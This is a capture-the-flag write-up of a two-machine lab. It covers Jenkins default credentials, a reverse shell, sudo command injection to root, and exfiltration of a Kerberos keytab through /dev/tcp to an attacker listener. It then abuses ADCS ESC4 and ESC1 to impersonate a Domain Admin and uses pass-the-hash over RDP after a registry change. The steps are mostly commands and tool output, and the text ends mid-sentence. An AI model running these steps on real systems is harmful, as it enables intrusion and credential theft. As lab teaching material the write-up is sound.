These pair of machines was pretty fun. Starting off on a ubuntu machine with just 2 ports open. Scanning shows port 8080 and when viewing this in a browser shows its running Jenkins and with a flick of the wrist, using admin:admin gets in the door. From here we can go to /script and use groovy or, you can create and build. Using a little reverse shell gets us on the machine after building.

From user jenkins, we enumerate to find some binaries set with the sticky bit, as well as it requires no password for us from viewing our privileges using sudo. Coming to find a binary called router_config, we get this back to our machine and look at it with strings. Finding its not a complicated binary but uses puts as a function, nevertheless, looking at how it works left room to play as it didn’t sanitize any input. So simply running a little hello world, works to show we can run a command and get root on this system. From root, we find a keytab find only holding the AES-256 hash for Brandon_Boyd. Which we can use to get a TGT from the Windows Machine.

Enumerating the Windows Machine we find our users cleartext password in the description. Having port 80 running on this machine and nmap giving us back certificate information, we attack ADCS. Looking for escalation paths we have one vulnerable to ESC4 and ESC1, which in turn wants Domain Computers, Domain Admins, basically nothing we’re apart of. Looking at our user some more we find we have a MachineAccountQuota and can create a computer. So after doing so we exploit ESC4 to overwrite the template adding ourselves to the enrollment rights. Then perform traditional ESC1, requesting as a user apart of Domain Admins, being anna_molly. Then we authenticate with the pfx and obtain her hash. Afterwards, you can do whatever, secretsdump.py, and obtain hashes and secrets of the machine. Yet RDP is open 🤔. We have access yet when trying to access we get an error stating blank passwords cannot be used. Adding a value to the registry can bypass this giving you access to rdp to the machine.

Initial Scan (2 Machines)

Linux Machine:

1
2
3
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack
8080/tcp open  http-proxy syn-ack

Windows Machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT     STATE SERVICE          REASON
53/tcp   open  domain           syn-ack
80/tcp   open  http             syn-ack
88/tcp   open  kerberos-sec     syn-ack
135/tcp  open  msrpc            syn-ack
139/tcp  open  netbios-ssn      syn-ack
389/tcp  open  ldap             syn-ack
445/tcp  open  microsoft-ds     syn-ack
464/tcp  open  kpasswd5         syn-ack
593/tcp  open  http-rpc-epmap   syn-ack
636/tcp  open  ldapssl          syn-ack
3268/tcp open  globalcatLDAP    syn-ack
3269/tcp open  globalcatLDAPssl syn-ack
3389/tcp open  ms-wbt-server    syn-ack

So we have no credentials and we have to find a way in. Less ports to deal with on the linux machine.

At Your Service

Seeing Jenkins running made me happy 😈. Trying common password combos let us right in.

From here you would try to find a Script Console to run groovy script (no pun intended 😂). This lies at /script, but I just built a project and got a shell.

Then our shell:

1
2
3
4
5
konoha# nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.200.21.55] from (UNKNOWN) [10.1.97.141] 34754
python3 -c 'import pty;pty.spawn("/bin/bash")'
jenkins@ip-10-1-97-141:~/workspace/namely$

Thats not right!!

Enumeration finds that our permissions give us the ability to run /usr/bin/router_config using sudo. I got it over to my machine and took a look. Seeing how this binary worked I was pretty sure I can run whatever I want as the second arguement, as it doesn’t look like there is any sanitization. 

1
2
3
4
5
6
7
8
jenkins@ip-10-1-97-141:~/workspace/namely$ sudo -u root /usr/bin/router_config 'echo hello_world'
<o -u root /usr/bin/router_config 'echo hello_world'
Welcome to Router Configuration Utility v1.2
Applying configuration...
Applying config from echo hello_world
hello_world
Configuration applied successfully!
jenkins@ip-10-1-97-141:~/workspace/namely$

With this knowledge I escalated on the machine.

1
2
3
4
5
6
jenkins@ip-10-1-97-141:~/workspace/namely$ sudo -u root /usr/bin/router_config '/usr/bin/bash -p'
<o -u root /usr/bin/router_config '/usr/bin/bash -p'
Welcome to Router Configuration Utility v1.2
Applying configuration...
Applying config from /usr/bin/bash -p
root@ip-10-1-97-141:/var/lib/jenkins/workspace/namely#

Since we’re root we can enumerate the machine some more. Knowing we have a windows machine in the environment, we can look at kerberos. This finds us the config and the keytab file which we extract to our machine.

1
2
3
root@ip-10-1-97-141:/var/lib/jenkins/workspace/namely# cat /et/krb5.keytab > /dev/tcp/10.200.21.55/9001
---
konoha# nc -lvnp 9001 > keytab

A little trick. Not really secure but gets the job done.

Extract the Keytab

Using python3 with keytabextract.py we get some information for a user.

1
2
3
4
5
6
7
8
konoha# python3 /opt/tools/KeyTabExtract/keytabextract.py krb5.keytab.anomaly
[!] No RC4-HMAC located. Unable to extract NTLM hashes.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[!] Unable to identify any AES128-CTS-HMAC-SHA1 hashes.
[+] Keytab File successfully imported.
	REALM : ANOMALY.HSM
	SERVICE PRINCIPAL : Brandon_Boyd/
	AES-256 HASH : <SNIP>

Then we can obtain a TGT using this hash.

1
2
3
4
(.impacket) konoha# getTGT.py -dc-ip 10.1.24.117 -aesKey <SNIP> 'anomaly.hsm/Brandon_boyd'
Impacket v0.14.0.dev0+20251107.4500.2f1d6eb2 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in Brandon_boyd.ccache

Low Hanging Fruit

With this ticket we can look at other users, and descriptions, which when we do we find a cleartext password for Brandon_Boyd.

1
2
3
4
5
6
7
8
konoha# nxc ldap ANOMALY-DC.anomaly.hsm -u Brandon_Boyd -k --use-kcache -M get-desc-users
LDAP        ANOMALY-DC.anomaly.hsm 389    ANOMALY-DC       [*] Windows 11 / Server 2025 Build 26100 (name:ANOMALY-DC) (domain:anomaly.hsm)
LDAPS       ANOMALY-DC.anomaly.hsm 636    ANOMALY-DC       [+] anomaly.hsm\Brandon_Boyd
GET-DESC... ANOMALY-DC.anomaly.hsm 389    ANOMALY-DC       [+] Found following users:
GET-DESC... ANOMALY-DC.anomaly.hsm 389    ANOMALY-DC       User: Administrator description: Built-in account for administering the computer/domain
GET-DESC... ANOMALY-DC.anomaly.hsm 389    ANOMALY-DC       User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... ANOMALY-DC.anomaly.hsm 389    ANOMALY-DC       User: krbtgt description: Key Distribution Center Service Account
GET-DESC... ANOMALY-DC.anomaly.hsm 389    ANOMALY-DC       User: Brandon_Boyd description: <SNIP>

Let’s move on to ADCS.

You can tell anyone by their Certificate Services

With ADCS running, which we saw in our nmap output, we can look at templates and identify vulnerable ones. This one stood out, as we are not apart of the Domain Computers group, but we can see if we have a quota to create one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
konoha# certipy find -u Brandon_Boyd@anomaly.hsm -p '<SNIP>' -dc-ip 10.1.24.117 -stdout
<SNIP>
Certificate Templates
  0
    Template Name                       : CertAdmin
    Display Name                        : CertAdmin
    Certificate Authorities             : anomaly-ANOMALY-DC-CA-2
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 650430 hours
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-09-21T17:57:59+00:00
    Template Last Modified              : 2025-09-21T17:58:00+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : ANOMALY.HSM\Domain Admins
                                          ANOMALY.HSM\Enterprise Admins
      Object Control Permissions
        Owner                           : ANOMALY.HSM\Administrator
        Full Control Principals         : ANOMALY.HSM\Domain Admins
                                          ANOMALY.HSM\Enterprise Admins
                                          ANOMALY.HSM\Domain Computers
        Write Owner Principals          : ANOMALY.HSM\Domain Admins
                                          ANOMALY.HSM\Enterprise Admins
                                          ANOMALY.HSM\Domain Computers
        Write Dacl Principals           : ANOMALY.HSM\Domain Admins
                                          ANOMALY.HSM\Enterprise Admins
                                          ANOMALY.HSM\Domain Computers
        Write Property Enroll           : ANOMALY.HSM\Domain Admins
                                          ANOMALY.HSM\Enterprise Admins
    [+] User Enrollable Principals      : ANOMALY.HSM\Domain Computers
    [+] User ACL Principals             : ANOMALY.HSM\Domain Computers
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : User has dangerous permissions.

Our quota for this user:

1
2
3
4
5
konoha# nxc ldap ANOMALY-DC.anomaly.hsm -u Brandon_Boyd -p '<SNIP>' -M maq
LDAP        10.1.24.117     389    ANOMALY-DC       [*] Windows 11 / Server 2025 Build 26100 (name:ANOMALY-DC) (domain:anomaly.hsm)
LDAPS       10.1.24.117     636    ANOMALY-DC       [+] anomaly.hsm\Brandon_Boyd:<SNIP>
MAQ         10.1.24.117     389    ANOMALY-DC       [*] Getting the MachineAccountQuota
MAQ         10.1.24.117     389    ANOMALY-DC       MachineAccountQuota: 10

Creating the future

We can use bloodyAD to create a computer(you can do this multiple ways).

1
2
3
4
bloodyAD -v DEBUG -d ANOMALY.HSM -u Brandon_Boyd -p '<SNIP>' -H ANOMALY-DC.anomaly.hsm add computer JIPPITY jay123
[*] Trying to connect to ANOMALY-DC.anomaly.hsm...
[*] Connection successful
[+] JIPPITY$ created

ESC4 hits different

The idea is the Domain Computers has access to this template. So we can overwrite it and add ourselves to enrollment rights.

1
2
3
4
5
6
7
8
9
10
konoha# certipy -debug template -template CertAdmin -u 'JIPPITY$@anomaly.hsm' -p 'jay123' -dc-ip 10.1.24.117 -dc-host ANOMALY-DC.anomaly.hsm -no-save -force
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[+] Nameserver: '10.1.24.117'
[+] DC IP: '10.1.24.117'
[+] DC Host: 'ANOMALY-DC.anomaly.hsm'
[+] Target IP: '10.1.24.117'
[+] Remote Name: 'ANOMALY-DC.anomaly.hsm'
[+] Domain: 'ANOMALY.HSM'
[+] Username: 'JIPPITY$

Normal for ESC1

Then we can can request a pfx supplying the upn and target sid to a Domain Admin user like anna_molly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
konoha# certipy -debug req -u 'JIPPITY$@anomaly.hsm' -p 'jay123' -dc-ip 10.1.24.117 -ca 'anomaly-ANOMALY-DC-CA-2' -template 'CertAdmin' -upn 'anna_molly@anomaly.hsm' -dns anomaly-ANOMALY-DC-CA-2 -target 10.1.24.117 -sid 'S-1-5-21-1496966362-3320961333-4044918980-1105'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: '10.1.24.117'
[+] DC IP: '10.1.24.117'
[+] DC Host: 'ANOMALY.HSM'
[+] Target IP: '10.1.24.117'
[+] Remote Name: '10.1.24.117'
[+] Domain: 'ANOMALY.HSM'
[+] Username: 'JIPPITY$'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.1.24.117[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.1.24.117[\pipe\cert]
[*] Request ID is 25
[*] Successfully requested certificate
[*] Got certificate with multiple identities
    UPN: 'anna_molly@anomaly.hsm'
    DNS Host Name: 'anomaly-ANOMALY-DC-CA-2'
[+] Found SID in SAN URL: 'S-1-5-21-1496966362-3320961333-4044918980-1105'
[+] Found SID in security extension: 'S-1-5-21-1496966362-3320961333-4044918980-1105'
[*] Certificate object SID is 'S-1-5-21-1496966362-3320961333-4044918980-1105'
[*] Saving certificate and private key to 'anna_molly_anomaly-anomaly-dc-ca-2.pfx'

PrivEsc for Mrs. Molly

Now we can obtain her NTLM hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
konoha# certipy auth -username 'anna_molly' -domain 'anomaly.hsm' -dc-ip 10.1.24.117 -no-save -pfx anna_molly_anomaly-anomaly-dc-ca-2.pfx
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'anna_molly@anomaly.hsm'
[*]     SAN DNS Host Name: 'anomaly-ANOMALY-DC-CA-2'
[*]     SAN URL SID: 'S-1-5-21-1496966362-3320961333-4044918980-1105'
[*]     Security Extension SID: 'S-1-5-21-1496966362-3320961333-4044918980-1105'
[*] Found multiple identities in certificate
[*] Using identity: UPN: anna_molly@anomaly.hsm
[*] Using principal: 'anna_molly@anomaly.hsm'
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to retrieve NT hash for 'anna_molly'
[*] Got hash for 'anna_molly@anomaly.hsm': aad3b435b51404eeaad3b435b51404ee:<SNIP>

I didn’t want to RDP right away. I tried a couple of things, SMB, WMI, PSEXEC and just wasn’t as reliable to get on the machine. I presume AV and AMSI, stopped many of my attempts or kicked me off after a while. Nevertheless, we ended up using RDP. At first, we have only the hash, and most likely not crackable. Therefore, we can just PTH(Pass-the-Hash) with something like xfreerdp. But when trying to do so we get an error.

1
konoha# xfreerdp /v:10.1.24.117 /u:anna_molly /pth:<SNIP> /dynamic-resolution +clipboard /tls-seclevel:0

ERROR

I’m get on!!

We can fix this using reg.py and add a DWORD that will allow for blank passwords. Then try again.

1
(.impacket) konoha# reg.py -hashes :be4bf3131851aee9a424c58e02879f6e 'anomaly.hsm/anna_molly@10.1.24.117' add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd '0'

Was messing around trying to bypass AMSI, though I didn’t need to